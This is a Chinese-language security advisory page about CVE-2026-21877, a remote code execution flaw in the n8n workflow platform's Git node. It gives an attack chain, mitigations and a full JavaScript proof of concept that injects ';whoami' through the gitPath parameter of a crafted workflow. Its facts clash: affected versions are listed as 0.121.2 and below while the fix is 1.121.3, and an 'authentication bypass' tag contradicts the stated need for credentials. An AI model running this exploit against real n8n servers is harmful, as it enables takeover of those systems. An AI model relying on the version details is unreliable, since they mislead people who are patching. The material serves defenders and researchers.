IPBUF安全漏洞报告
English
CVE-2026-21877 CVSS 9.9 严重

CVE-2026-21877 n8n工作流自动化平台远程代码执行漏洞

披露日期: 2026-01-08

漏洞信息

漏洞编号
CVE-2026-21877
漏洞类型
远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
n8n workflow automation platform

相关标签

远程代码执行n8n工作流自动化Git节点CVSS 9.9CVE-2026-21877认证绕过命令注入开源软件

漏洞概述

n8n是一个开源的工作流自动化平台。2026年1月披露的CVE-2026-21877漏洞影响n8n 0.121.2及以下版本。该漏洞是一个严重的安全问题,攻击者通过利用Git节点的功能,可以执行恶意代码并完全控制n8n服务。漏洞CVSS评分为9.9(严重级别),属于极度危险的安全缺陷。此漏洞不仅影响自托管部署的n8n实例,也影响n8n Cloud云托管实例。攻击者利用此漏洞可以获取服务器的完全控制权,访问敏感数据,横向移动到其他系统,并可能对整个基础设施造成严重破坏。n8n官方已于2026年1月发布安全更新,修复版本为1.121.3,建议所有用户立即升级。

技术细节

n8n工作流自动化平台的Git节点存在安全漏洞,攻击者可以通过构造恶意的Git命令参数来实现远程代码执行。该漏洞的根本原因在于Git节点对用户输入的验证不充分,允许攻击者注入任意系统命令。在n8n的Git节点中,当处理Git仓库操作时,系统会将用户提供的参数传递给底层的Git命令行工具。由于缺乏适当的输入过滤和命令隔离,攻击者可以通过在Git参数中插入分号或其他命令分隔符来执行额外的系统命令。攻击者需要拥有n8n平台的有效认证凭证,但权限要求较低(低权限用户即可),这大大增加了漏洞的利用可能性。成功利用后,攻击者可以在运行n8n服务的操作系统账户的上下文中执行任意代码,从而实现对整个系统的完全控制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标n8n实例版本,确认版本在0.121.2或以下,验证Git节点功能是否启用
STEP 2
步骤2: 获取访问权限
攻击者通过钓鱼、凭证泄露或弱密码等方式获取n8n平台的有效用户凭证(低权限账户即可)
STEP 3
步骤3: 创建恶意工作流
攻击者登录n8n平台,创建一个包含Git节点的工作流,并在Git参数中注入恶意命令
STEP 4
步骤4: 执行工作流触发RCE
攻击者执行创建的恶意工作流,Git节点处理参数时执行注入的命令
STEP 5
步骤5: 获得系统控制权
成功执行代码后,攻击者获得运行n8n服务的系统账户权限,可进一步横向移动或窃取数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-21877 PoC - n8n Git Node Remote Code Execution // This PoC demonstrates how an authenticated attacker can execute arbitrary commands // through the n8n Git node by injecting malicious Git parameters. const axios = require('axios'); // Configuration const N8N_URL = 'http://target-n8n-server:5678'; const ATTACKER_TOKEN = 'your-authenticated-user-token'; // Step 1: Create a malicious workflow with Git node async function createMaliciousWorkflow() { const maliciousCommand = ';whoami > /tmp/pwned.txt #'; const workflow = { name: 'CVE-2026-21877 PoC', nodes: [ { name: 'Git Node', type: 'n8n-nodes-base.git', parameters: { operation: 'clone', repositoryUrl: 'https://github.com/example/repo', gitPath: maliciousCommand, // Malicious injection point branch: 'main' } } ], connections: {} }; try { const response = await axios.post( `${N8N_URL}/rest/workflows`, workflow, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}`, 'Content-Type': 'application/json' } } ); console.log('Malicious workflow created:', response.data.id); return response.data.id; } catch (error) { console.error('Error creating workflow:', error.message); } } // Step 2: Execute the workflow to trigger RCE async function executeWorkflow(workflowId) { try { const response = await axios.post( `${N8N_URL}/rest/workflows/${workflowId}/execute`, {}, { headers: { 'Authorization': `Bearer ${ATTACKER_TOKEN}` } } ); console.log('Workflow executed - RCE triggered'); } catch (error) { console.error('Error executing workflow:', error.message); } } // Main execution (async () => { const workflowId = await createMaliciousWorkflow(); if (workflowId) { await executeWorkflow(workflowId); } })();

影响范围

n8n < 0.121.3 (versions 0.121.2 and below)
n8n self-hosted instances <= 0.121.2
n8n Cloud instances (affected versions)

防御指南

临时缓解措施
对于无法立即升级的用户,建议采取以下临时缓解措施:1) 在n8n管理界面中禁用Git节点功能;2) 审查并限制用户权限,确保只有受信任的管理员才能创建和执行工作流;3) 实施网络隔离,限制n8n服务器的网络访问范围;4) 加强认证机制,启用多因素认证;5) 监控n8n日志,关注异常的Git操作行为。同时应尽快安排计划进行版本升级,因为这些缓解措施无法完全消除安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表